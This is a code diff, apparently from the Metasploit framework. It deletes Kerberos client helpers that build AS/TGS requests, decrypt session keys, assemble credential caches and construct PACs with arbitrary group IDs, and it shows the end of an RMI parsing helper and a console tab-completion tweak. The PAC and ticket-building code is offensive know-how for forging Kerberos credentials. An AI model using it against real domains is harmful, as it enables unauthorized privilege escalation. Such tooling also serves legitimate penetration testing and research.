methods.each do |m|
utf_method = Rex::Java::Serialization::Model::Utf.new(nil, m[:name])
utf_descriptor = Rex::Java::Serialization::Model::Utf.new(nil, m[:descriptor])
stream << utf_method.encode
stream << utf_descriptor.encode
m[:exceptions].each do |e|
utf_exception = Rex::Java::Serialization::Model::Utf.new(nil, e)
stream << utf_exception.encode
end
end
sha1 = Rex::Text.sha1_raw(stream)
sha1.unpack('Q<')[0]
end
# Extracts an string from an IO
#
# @param io [IO] the io to extract the string from
# @return [String, nil] the extracted string if success, nil otherwise
def extract_string(io)
raw_length = io.read(2)
unless raw_length && raw_length.length == 2
return nil
end
length = raw_length.unpack('s>')[0]
string = io.read(length)
unless string && string.length == length
return nil
end
string
end
# Extracts an int from an IO
#
# @param io [IO] the io to extract the int from
# @return [Fixnum, nil] the extracted int if success, nil otherwise
def extract_int(io)
int_raw = io.read(4)
unless int_raw && int_raw.length == 4
return nil
end
int = int_raw.unpack('l>')[0]
int
end
# Extracts a long from an IO
#
# @param io [IO] the io to extract the long from
# @return [Fixnum, nil] the extracted int if success, nil otherwise
def extract_long(io)
int_raw = io.read(8)
unless int_raw && int_raw.length == 8
return nil
end
int = int_raw.unpack('q>')[0]
int
end
# Extract an RMI interface reference from an IO
#
# @param io [IO] the io to extract the reference from, should contain the data
# inside a BlockData with the reference information.
# @return [Hash, nil] the extracted reference if success, nil otherwise
# @see Msf::Java::Rmi::Client::Jmx:Server::Parser#parse_jmx_new_client_endpoint
# @see Msf::Java::Rmi::Client::Registry::Parser#parse_registry_lookup_endpoint
def extract_reference(io)
ref = extract_string(io)
unless ref && ref == 'UnicastRef'
return nil
end
address = extract_string(io)
return nil unless address
port = extract_int(io)
return nil unless port
object_number = extract_long(io)
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io)
{address: address, port: port, object_number: object_number, uid: uid}
end
end
end
end
end

View File

@ -1,139 +0,0 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
module Kerberos
module Client
require 'msf/kerberos/client/base'
require 'msf/kerberos/client/as_request'
require 'msf/kerberos/client/as_response'
require 'msf/kerberos/client/tgs_request'
require 'msf/kerberos/client/tgs_response'
require 'msf/kerberos/client/pac'
require 'msf/kerberos/client/cache_credential'
include Msf::Kerberos::Client::Base
include Msf::Kerberos::Client::AsRequest
include Msf::Kerberos::Client::AsResponse
include Msf::Kerberos::Client::TgsRequest
include Msf::Kerberos::Client::TgsResponse
include Msf::Kerberos::Client::Pac
include Msf::Kerberos::Client::CacheCredential
# @!attribute client
# @return [Rex::Proto::Kerberos::Client] The kerberos client
attr_accessor :client
def initialize(info = {})
super
register_options(
[
Opt::RHOST,
Opt::RPORT(88),
OptInt.new('Timeout', [true, 'The TCP timeout to establish connection and read data', 10])
], self.class
)
end
# Returns the target host
#
# @return [String]
def rhost
datastore['RHOST']
end
# Returns the remote port
#
# @return [Fixnum]
def rport
datastore['RPORT']
end
# Returns the TCP timeout
#
# @return [Fixnum]
def timeout
datastore['Timeout']
end
# Returns the kdc peer
#
# @return [String]
def peer
"#{rhost}:#{rport}"
end
# Creates a kerberos connection
#
# @param opts [Hash{Symbol => <String, Fixnum>}]
# @option opts [String] :rhost
# @option opts [<String, Fixnum>] :rport
# @return [Rex::Proto::Kerberos::Client]
def connect(opts={})
kerb_client = Rex::Proto::Kerberos::Client.new(
host: opts[:rhost] || rhost,
port: (opts[:rport] || rport).to_i,
timeout: (opts[:timeout] || timeout).to_i,
context:
{
'Msf' => framework,
'MsfExploit' => self,
},
protocol: 'tcp'
)
disconnect if client
self.client = kerb_client
kerb_client
end
# Disconnects the Kerberos client
#
# @param kerb_client [Rex::Proto::Kerberos::Client] the client to disconnect
def disconnect(kerb_client = client)
kerb_client.close if kerb_client
if kerb_client == client
self.client = nil
end
end
# Performs cleanup as necessary, disconnecting the Kerberos client
# if it's still established.
def cleanup
super
disconnect
end
# Sends a kerberos AS request and reads the response
#
# @param opts [Hash]
# @return [Rex::Proto::Kerberos::Model::KdcResponse]
# @see Msf::Kerberos::Client::AsRequest#build_as_request
# @see Rex::Proto::Kerberos::Model::KdcResponse
def send_request_as(opts = {})
connect(opts)
req = build_as_request(opts)
res = client.send_recv(req)
disconnect
res
end
# Sends a kerberos AS request and reads the response
#
# @param opts [Hash]
# @return [Rex::Proto::Kerberos::Model::KdcResponse]
# @see Msf::Kerberos::Client::TgsRequest#build_tgs_request
# @see Rex::Proto::Kerberos::Model::KdcResponse
def send_request_tgs(opts = {})
connect(opts)
req = build_tgs_request(opts)
res = client.send_recv(req)
disconnect
res
end
end
end
end

View File

@ -1,111 +0,0 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
module Kerberos
module Client
module AsRequest
# Builds a kerberos AS request
#
# @param opts [Hash{Symbol => <Array<Rex::Proto::Kerberos::Model::PreAuthData>, Rex::Proto::Kerberos::Model::KdcRequestBody>}]
# @option opts [Array<Rex::Proto::Kerberos::Model::PreAuthData>] :pa_data
# @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body
# @return [Rex::Proto::Kerberos::Model::KdcRequest]
# @see [Rex::Proto::Kerberos::Model::KdcRequest]
# @see #build_as_pa_time_stamp
# @see #build_as_request_body
def build_as_request(opts = {})
pa_data = opts[:pa_data] || build_as_pa_time_stamp(opts)
body = opts[:body] || build_as_request_body(opts)
request = Rex::Proto::Kerberos::Model::KdcRequest.new(
pvno: 5,
msg_type: Rex::Proto::Kerberos::Model::AS_REQ,
pa_data: pa_data,
req_body: body
)
request
end
# Builds a kerberos PA-ENC-TIMESTAMP pre authenticated structure
#
# @param opts [Hash{Symbol => <Time, Fixnum, String>}]
# @option opts [Time] :time_stamp
# @option opts [Fixnum] :pausec
# @option opts [Fixnum] :etype
# @option opts [String] :key
# @return [Rex::Proto::Kerberos::Model::PreAuthData]
# @see Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp
# @see Rex::Proto::Kerberos::Model::EncryptedData
# @see Rex::Proto::Kerberos::Model::PreAuthData
def build_as_pa_time_stamp(opts = {})
time_stamp = opts[:time_stamp] || Time.now
pausec = opts[:pausec] || 0
etype = opts[:etype] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
key = opts[:key] || ''
pa_time_stamp = Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.new(
pa_time_stamp: time_stamp,
pausec: pausec
)
enc_time_stamp = Rex::Proto::Kerberos::Model::EncryptedData.new(
etype: etype,
cipher: pa_time_stamp.encrypt(etype, key)
)
pa_enc_time_stamp = Rex::Proto::Kerberos::Model::PreAuthData.new(
type: Rex::Proto::Kerberos::Model::PA_ENC_TIMESTAMP,
value: enc_time_stamp.encode
)
pa_enc_time_stamp
end
# Builds a kerberos AS request body
#
# @param opts [Hash{Symbol => <Fixnum, Time, String, Rex::Proto::Kerberos::Model::PrincipalName>}]
# @option opts [Fixnum] :options
# @option opts [Time] :from
# @option opts [Time] :till
# @option opts [Time] :rtime
# @option opts [Fixnum] :nonce
# @option opts [Fixnum] :etype
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
# @option opts [String] :realm
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname
# @return [Rex::Proto::Kerberos::Model::KdcRequestBody]
# @see #build_client_name
# @see #build_server_name
# @see Rex::Proto::Kerberos::Model::KdcRequestBody
def build_as_request_body(opts = {})
options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable
from = opts[:from] || Time.utc('1970-01-01-01 00:00:00')
till = opts[:till] || Time.utc('1970-01-01-01 00:00:00')
rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00')
nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i
etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC]
cname = opts[:cname] || build_client_name(opts)
realm = opts[:realm] || ''
sname = opts[:sname] || build_server_name(opts)
body = Rex::Proto::Kerberos::Model::KdcRequestBody.new(
options: options,
cname: cname,
realm: realm,
sname: sname,
from: from,
till: till,
rtime: rtime,
nonce: nonce,
etype: etype
)
body
end
end
end
end
end

View File

@ -1,46 +0,0 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
module Kerberos
module Client
module AsResponse
# Extracts the session key from a Kerberos AS Response
#
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
# @param key [String]
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
# @see Rex::Proto::Kerberos::Model::KdcResponse
# @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
# @see Rex::Proto::Kerberos::Model::EncryptionKey
def extract_session_key(res, key)
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE)
enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
enc_kdc_res.key
end
# Extracts the logon time from a Kerberos AS Response
#
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
# @param key [String]
# @return [Fixnum]
# @see Rex::Proto::Kerberos::Model::KdcResponse
# @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
def extract_logon_time(res, key)
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE)
enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
auth_time = enc_kdc_res.auth_time
auth_time.to_i
end
end
end
end
end

View File

@ -1,44 +0,0 @@
# -*- coding: binary -*-
module Msf
module Kerberos
module Client
module Base
# Builds a kerberos Client Name Principal
#
# @param opts [Hash{Symbol => <String, Fixnum>}]
# @option opts [String] :client_name the client's name
# @option opts [Fixnum] :client_type the client's name type
# @return [Rex::Proto::Kerberos::Model::PrincipalName]
# @see Rex::Proto::Kerberos::Model::PrincipalName
def build_client_name(opts = {})
name = opts[:client_name] || ''
name_type = opts[:client_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL
Rex::Proto::Kerberos::Model::PrincipalName.new(
name_type: name_type,
name_string: name.split('/')
)
end
# Builds a kerberos Server Name Principal
#
# @param opts [Hash{Symbol => <String, Fixnum>}]
# @option opts [String] :server_name the server's name
# @option opts [Fixnum] :server_type the server's name type
# @return [Rex::Proto::Kerberos::Model::PrincipalName]
# @see Rex::Proto::Kerberos::Model::PrincipalName
def build_server_name(opts = {})
name = opts[:server_name] || ''
name_type = opts[:server_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL
Rex::Proto::Kerberos::Model::PrincipalName.new(
name_type: name_type,
name_string: name.split('/')
)
end
end
end
end
end

View File

@ -1,148 +0,0 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
module Kerberos
module Client
module CacheCredential
# Builds a MIT Credential Cache
#
# @param opts [Hash{Symbol => <Fixnum, Array<String>, Rex::Proto::Kerberos::CredentialCache::Principal, Array<Rex::Proto::Kerberos::CredentialCache::Credential>>}]
# @option opts [Fixnum] :version
# @option opts [Array<String>] :headers
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] :primary_principal
# @option opts [Array<Rex::Proto::Kerberos::CredentialCache::Credential>] :credentials
# @return [Rex::Proto::Kerberos::CredentialCache::Cache]
# @see Rex::Proto::Kerberos::CredentialCache::Cache
def create_cache(opts = {})
version = opts[:version] || Rex::Proto::Kerberos::CredentialCache::VERSION
headers = opts[:headers] || [Rex::Proto::Kerberos::CredentialCache::HEADER]
primary_principal = opts[:primary_principal] || create_cache_principal(opts)
credentials = opts[:credentials] || [create_cache_credential(opts)]
cache = Rex::Proto::Kerberos::CredentialCache::Cache.new(
version: version,
headers: headers,
primary_principal: primary_principal,
credentials: credentials
)
cache
end
# Builds a MIT Credential Cache principal
#
# @param opts [Hash<{Symbol => <Fixnum, String, Array<String>>}>]
# @option opts [Fixnum] :name_type
# @option opts [String] :realm
# @option opts [Array<String>] :components
# @return [Rex::Proto::Kerberos::CredentialCache::Principal]
# @see Rex::Proto::Kerberos::CredentialCache::Principal
def create_cache_principal(opts = {})
name_type = opts[:name_type] || 0
realm = opts[:realm] || ''
components = opts[:components] || ['']
principal = Rex::Proto::Kerberos::CredentialCache::Principal.new(
name_type: name_type,
realm: realm,
components:components
)
principal
end
# Builds a MIT Credential Cache key block
#
# @param opts [Hash<{Symbol => <Fixnum, String>}>]
# @option opts [Fixnum] :key_type
# @option opts [Fixnum] :e_type
# @option opts [String] :key_value
# @return [Rex::Proto::Kerberos::CredentialCache::KeyBlock]
# @see Rex::Proto::Kerberos::CredentialCache::KeyBlock
def create_cache_key_block(opts = {})
key_type = opts[:key_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
e_type = opts[:e_type] || 0
key_value = opts[:key_value] || ''
key_block = Rex::Proto::Kerberos::CredentialCache::KeyBlock.new(
key_type: key_type,
e_type: e_type,
key_value: key_value
)
key_block
end
# Builds a times structure linked to a credential in a MIT Credential Cache
#
# @param opts [Hash<{Symbol => Fixnum}>]
# @option opts [Fixnum] auth_time
# @option opts [Fixnum] start_time
# @option opts [Fixnum] end_time
# @option opts [Fixnum] renew_till
# @return [Rex::Proto::Kerberos::CredentialCache::Time]
# @see Rex::Proto::Kerberos::CredentialCache::Time
def create_cache_times(opts = {})
auth_time = opts[:auth_time] || 0
start_time = opts[:start_time] || 0
end_time = opts[:end_time] || 0
renew_till = opts[:renew_till] || 0
time = Rex::Proto::Kerberos::CredentialCache::Time.new(
auth_time: auth_time.to_i,
start_time: start_time.to_i,
end_time: end_time.to_i,
renew_till: renew_till.to_i
)
time
end
# Builds a MIT Credential Cache credential
#
# @param opts [Hash<{Symbol => <>}>]
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] client
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] server
# @option opts [Rex::Proto::Kerberos::CredentialCache::KeyBlock] key
# @option opts [Rex::Proto::Kerberos::CredentialCache::Time] time
# @option opts [Fixnum] is_key
# @option opts [Fixnum] flags
# @option opts [Array] addrs
# @option opts [Array] auth_data
# @option opts [String] ticket
# @option opts [String] second_ticket
# @return [Rex::Proto::Kerberos::CredentialCache::Credential]
# @see Rex::Proto::Kerberos::CredentialCache::Credential
def create_cache_credential(opts = {})
client = opts[:client] || create_cache_principal(opts)
server = opts[:server] || create_cache_principal(opts)
key = opts[:key] || create_cache_key_block(opts)
time = opts[:time] || create_cache_times(opts)
is_skey = opts[:is_skey] || 0
tkt_flags = opts[:flags] || 0
addrs = opts[:addrs] || []
auth_data = opts[:auth_data] || []
ticket = opts[:ticket] || ''
second_ticket = opts[:second_ticket] || ''
cred = Rex::Proto::Kerberos::CredentialCache::Credential.new(
client: client,
server: server,
key: key,
time: time,
is_skey: is_skey,
tkt_flags:tkt_flags,
addrs: addrs,
auth_data: auth_data,
ticket: ticket,
second_ticket: second_ticket
)
cred
end
end
end
end
end

View File

@ -1,111 +0,0 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
module Kerberos
module Client
module Pac
# Builds a kerberos PA-PAC-REQUEST pre authenticated structure
#
# @param opts [Hash{Symbol => Boolean}]
# @option opts [Boolean] :pac_request_value
# @return [Rex::Proto::Kerberos::Model::Field::PreAuthData]
# @see Rex::Proto::Kerberos::Model::PreAuthPacRequest
# @see Rex::Proto::Kerberos::Model::PreAuthData
def build_pa_pac_request(opts = {})
value = opts[:pac_request_value] || false
pac_request = Rex::Proto::Kerberos::Model::PreAuthPacRequest.new(value: value)
pa_pac_request = Rex::Proto::Kerberos::Model::PreAuthData.new(
type: Rex::Proto::Kerberos::Model::PA_PAC_REQUEST,
value: pac_request.encode
)
pa_pac_request
end
# Builds a kerberos PACTYPE structure
#
# @param opts [Hash{Symbol => <String, Fixnum, Array, Time>}]
# @option opts [String] :client_name
# @option opts [Fixnum] :user_id the user SID Ex: 1000
# @option opts [Fixnum] :group_id Ex: 513 for 'Domain Users'
# @option opts [Array<Fixnum>] :group_ids
# @option opts [String] :realm
# @option opts [String] :domain_id the domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962
# @option opts [Time] :logon_time
# @return [Rex::Proto::Kerberos::Pac::Type]
# @see Rex::Proto::Kerberos::Pac::LogonInfo
# @see Rex::Proto::Kerberos::Pac::ClientInfo
# @see Rex::Proto::Kerberos::Pac::ServerChecksum
# @see Rex::Proto::Kerberos::Pac::PrivSvrChecksum
# @see Rex::Proto::Kerberos::Pac::Type
def build_pac(opts = {})
user_name = opts[:client_name] || ''
user_id = opts[:user_id] || Rex::Proto::Kerberos::Pac::DEFAULT_USER_SID
primary_group_id = opts[:group_id] || Rex::Proto::Kerberos::Pac::DOMAIN_USERS
group_ids = opts[:group_ids] || [Rex::Proto::Kerberos::Pac::DOMAIN_USERS]
domain_name = opts[:realm] || ''
domain_id = opts[:domain_id] || Rex::Proto::Kerberos::Pac::NT_AUTHORITY_SID
logon_time = opts[:logon_time] || Time.now
checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::RSA_MD5
logon_info = Rex::Proto::Kerberos::Pac::LogonInfo.new(
logon_time: logon_time,
effective_name: user_name,
user_id: user_id,
primary_group_id: primary_group_id,
group_ids: group_ids,
logon_domain_name: domain_name,
logon_domain_id: domain_id,
)
client_info = Rex::Proto::Kerberos::Pac::ClientInfo.new(
client_id: logon_time,
name: user_name
)
server_checksum = Rex::Proto::Kerberos::Pac::ServerChecksum.new(
checksum: checksum_type
)
priv_srv_checksum = Rex::Proto::Kerberos::Pac::PrivSvrChecksum.new(
checksum: checksum_type
)
pac_type = Rex::Proto::Kerberos::Pac::Type.new(
buffers: [
logon_info,
client_info,
server_checksum,
priv_srv_checksum
],
checksum: checksum_type
)
pac_type
end
# Builds an kerberos AuthorizationData structure containing a PACTYPE
#
# @param opts [Hash{Symbol => Rex::Proto::Kerberos::Pac::Type}]
# @option opts [Rex::Proto::Kerberos::Pac::Type] :pac
# @return [Rex::Proto::Kerberos::Model::AuthorizationData]
# @see Rex::Proto::Kerberos::Model::AuthorizationData
def build_pac_authorization_data(opts = {})
pac = opts[:pac] || build_pac(opts)
pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
elements: [{:type => Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC, :data => pac.encode}]
)
authorization_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
elements: [{:type => Rex::Proto::Kerberos::Model::AD_IF_RELEVANT, :data => pac_auth_data.encode}]
)
authorization_data
end
end
end
end
end

View File

@ -1,273 +0,0 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
module Kerberos
module Client
module TgsRequest
# Builds the encrypted Kerberos TGS request
#
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::Element>}]
# @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
# @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum
# @option opts [Rex::Proto::Kerberos::Model::Authenticator] :auhtenticator
# @option opts [Array<Rex::Proto::Kerberos::Model::PreAuthData>] :pa_data
# @return [Rex::Proto::Kerberos::Model::KdcRequest]
# @raise [RuntimeError] if ticket isn't available
# @see Rex::Proto::Kerberos::Model::AuthorizationData
# @see Rex::Proto::Kerberos::Model::EncryptedData
# @see Rex::Proto::Kerberos::Model::EncryptionKey
# @see Rex::Proto::Kerberos::Model::Checksum
# @see Rex::Proto::Kerberos::Model::Authenticator
# @see Rex::Proto::Kerberos::Model::PreAuthData
# @see Rex::Proto::Kerberos::Model::KdcRequest
def build_tgs_request(opts = {})
subkey = opts[:subkey] || build_subkey(opts)
if opts[:enc_auth_data]
enc_auth_data = opts[:enc_auth_data]
elsif opts[:auth_data]
enc_auth_data = build_enc_auth_data(
auth_data: opts[:auth_data],
subkey: subkey
)
else
enc_auth_data = nil
end
body = build_tgs_request_body(opts.merge(
enc_auth_data: enc_auth_data
))
checksum = opts[:checksum] || build_tgs_body_checksum(:body => body)
if opts[:auhtenticator]
authenticator = opts[:authenticator]
else
authenticator = build_authenticator(opts.merge(
subkey: subkey,
checksum: checksum
))
end
if opts[:ap_req]
ap_req = opts[:ap_req]
else
ap_req = build_ap_req(opts.merge(:authenticator => authenticator))
end
pa_ap_req = Rex::Proto::Kerberos::Model::PreAuthData.new(
type: Rex::Proto::Kerberos::Model::PA_TGS_REQ,
value: ap_req.encode
)
pa_data = []
pa_data.push(pa_ap_req)
if opts[:pa_data]
opts[:pa_data].each { |pa| pa_data.push(pa) }
end
request = Rex::Proto::Kerberos::Model::KdcRequest.new(
pvno: 5,
msg_type: Rex::Proto::Kerberos::Model::TGS_REQ,
pa_data: pa_data,
req_body: body
)
request
end
# Builds the encrypted TGS authorization data
#
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::AuthorizationData, Rex::Proto::Kerberos::Model::EncryptionKey>}]
# @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
# @return [Rex::Proto::Kerberos::Model::EncryptedData]
# @raise [RuntimeError] if auth_data option isn't provided
# @see Rex::Proto::Kerberos::Model::AuthorizationData
# @see Rex::Proto::Kerberos::Model::EncryptionKey
# @see Rex::Proto::Kerberos::Model::EncryptedData
def build_enc_auth_data(opts = {})
auth_data = opts[:auth_data]
if auth_data.nil?
raise ::RuntimeError, 'auth_data option required on #build_enc_auth_data'
end
subkey = opts[:subkey] || build_subkey(opts)
encrypted = auth_data.encrypt(subkey.type, subkey.value)
e_data = Rex::Proto::Kerberos::Model::EncryptedData.new(
etype: subkey.type,
cipher: encrypted
)
e_data
end
# Builds a KRB_AP_REQ message
#
# @param opts [Hash{Symbol => <Fixnum, Rex::Proto::Kerberos::Model::Ticket, Rex::Proto::Kerberos::Model::EncryptedData, Rex::Proto::Kerberos::Model::EncryptionKey>}]
# @option opts [Fixnum] :pvno
# @option opts [Fixnum] :msg_type
# @option opts [Fixnum] :ap_req_options
# @option opts [Rex::Proto::Kerberos::Model::Ticket] :ticket
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :authenticator
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :session_key
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
# @raise [RuntimeError] if ticket option isn't provided
# @see Rex::Proto::Kerberos::Model::Ticket
# @see Rex::Proto::Kerberos::Model::EncryptedData
# @see Rex::Proto::Kerberos::Model::EncryptionKey
def build_ap_req(opts = {})
pvno = opts[:pvno] || Rex::Proto::Kerberos::Model::VERSION
msg_type = opts[:msg_type] || Rex::Proto::Kerberos::Model::AP_REQ
options = opts[:ap_req_options] || 0
ticket = opts[:ticket]
authenticator = opts[:authenticator] || build_authenticator(opts)
session_key = opts[:session_key] || build_subkey(opts)
if ticket.nil?
raise ::RuntimeError, 'Building a AP-REQ without ticket not supported'
end
enc_authenticator = Rex::Proto::Kerberos::Model::EncryptedData.new(
etype: session_key.type,
cipher: authenticator.encrypt(session_key.type, session_key.value)
)
ap_req = Rex::Proto::Kerberos::Model::ApReq.new(
pvno: pvno,
msg_type: msg_type,
options: options,
ticket: ticket,
authenticator: enc_authenticator
)
ap_req
end
# Builds a kerberos authenticator for a TGS request
#
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::PrincipalName, String, Time, Rex::Proto::Kerberos::Model::EncryptionKey>}]
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
# @option opts [String] :realm
# @option opts [Time] :ctime
# @option opts [Fixnum] :cusec
# @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
# @return [Rex::Proto::Kerberos::Model::Authenticator]
# @see Rex::Proto::Kerberos::Model::PrincipalName
# @see Rex::Proto::Kerberos::Model::Checksum
# @see Rex::Proto::Kerberos::Model::EncryptionKey
# @see Rex::Proto::Kerberos::Model::Authenticator
def build_authenticator(opts = {})
cname = opts[:cname] || build_client_name(opts)
realm = opts[:realm] || ''
ctime = opts[:ctime] || Time.now
cusec = opts[:cusec] || ctime.usec
checksum = opts[:checksum] || build_tgs_body_checksum(opts)
subkey = opts[:subkey] || build_subkey(opts)
authenticator = Rex::Proto::Kerberos::Model::Authenticator.new(
vno: 5,
crealm: realm,
cname: cname,
checksum: checksum,
cusec: cusec,
ctime: ctime,
subkey: subkey
)
authenticator
end
# Builds an encryption key to protect the data sent in the TGS request.
#
# @param opts [Hash{Symbol => <Fixnum, String>}]
# @option opts [Fixnum] :subkey_type
# @option opts [String] :subkey_value
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
# @see Rex::Proto::Kerberos::Model::EncryptionKey
def build_subkey(opts={})
subkey_type = opts[:subkey_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
subkey_value = opts[:subkey_value] || Rex::Text.rand_text(16)
subkey = Rex::Proto::Kerberos::Model::EncryptionKey.new(
type: subkey_type,
value: subkey_value
)
subkey
end
# Builds a kerberos TGS request body
#
# @param opts [Hash{Symbol => <Fixnum, Time, String, Rex::Proto::Kerberos::Model::PrincipalName, Rex::Proto::Kerberos::Model::EncryptedData>}]
# @option opts [Fixnum] :options
# @option opts [Time] :from
# @option opts [Time] :till
# @option opts [Time] :rtime
# @option opts [Fixnum] :nonce
# @option opts [Fixnum] :etype
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
# @option opts [String] :realm
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data
# @return [Rex::Proto::Kerberos::Model::KdcRequestBody]
# @see Rex::Proto::Kerberos::Model::PrincipalName
# @see Rex::Proto::Kerberos::Model::KdcRequestBody
def build_tgs_request_body(opts = {})
options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable
from = opts[:from] || Time.utc('1970-01-01-01 00:00:00')
till = opts[:till] || Time.utc('1970-01-01-01 00:00:00')
rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00')
nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i
etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC]
cname = opts[:cname] || build_client_name(opts)
realm = opts[:realm] || ''
sname = opts[:sname] || build_server_name(opts)
enc_auth_data = opts[:enc_auth_data] || nil
body = Rex::Proto::Kerberos::Model::KdcRequestBody.new(
options: options,
cname: cname,
realm: realm,
sname: sname,
from: from,
till: till,
rtime: rtime,
nonce: nonce,
etype: etype,
enc_auth_data: enc_auth_data
)
body
end
# Builds a Kerberos TGS Request body checksum
#
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::KdcRequestBody, Fixnum>}]
# @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body
# @return [Rex::Proto::Kerberos::Model::Checksum]
# @see #build_tgs_request_body
# @see Rex::Proto::Kerberos::Model::Checksum
def build_tgs_body_checksum(opts = {})
body = opts[:body] || build_tgs_request_body(opts)
checksum_body = body.checksum(Rex::Proto::Kerberos::Crypto::RSA_MD5)
checksum = Rex::Proto::Kerberos::Model::Checksum.new(
type: 7,
checksum: checksum_body
)
checksum
end
end
end
end
end

View File

@ -1,74 +0,0 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
module Kerberos
module Client
module TgsResponse
# Extracts the Kerberos credentials, buildint a MIT Cache Credential,
# from a Kerberos TGS response.
#
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
# @param key [String]
# @return [Rex::Proto::Kerberos::CredentialCache::Cache]
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
# @see Msf::Kerberos::Client::CacheCredential
# @see Rex::Proto::Kerberos::CredentialCache::Cache
def extract_kerb_creds(res, key)
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_TGS_RESPONSE)
enc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
client = create_cache_principal(
name_type: res.cname.name_type,
realm: res.crealm,
components: res.cname.name_string
)
server = create_cache_principal(
name_type: enc_res.sname.name_type,
realm: enc_res.srealm,
components: enc_res.sname.name_string
)
key = create_cache_key_block(
key_type: enc_res.key.type,
key_value: enc_res.key.value
)
times = create_cache_times(
auth_time: enc_res.auth_time,
start_time: enc_res.start_time,
end_time: enc_res.end_time,
renew_till: enc_res.renew_till
)
credential = create_cache_credential(
client: client,
server: server,
key: key,
time: times,
ticket: res.ticket.encode,
flags: enc_res.flags
)
cache_principal = create_cache_principal(
name_type: res.cname.name_type, # NT_PRINCIPAL
#realm: realm,# opts[:realm],
realm: res.crealm,
#components: user # [opts[:cname]]
components: res.cname.name_string
)
cache = create_cache(
primary_principal: cache_principal,
credentials: [credential]
)
cache
end
end
end
end
end

View File

@ -2989,7 +2989,7 @@ class Core
option_values_target_addrs().each do |addr|
res << addr
end
when 'LHOST'
when 'LHOST', 'SRVHOST'
rh = self.active_module.datastore['RHOST'] || framework.datastore['RHOST']
if rh and not rh.empty?
res << Rex::Socket.source_address(rh)
@ -2997,9 +2997,9 @@ class Core
res << Rex::Socket.source_address
# getifaddrs was introduced in 2.1.2
if Socket.respond_to?(:getifaddrs)
ifaddrs = Socket.getifaddrs.find_all { |ifaddr|
ifaddrs = Socket.getifaddrs.find_all do |ifaddr|
((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) && ifaddr.addr.ip?
}
end
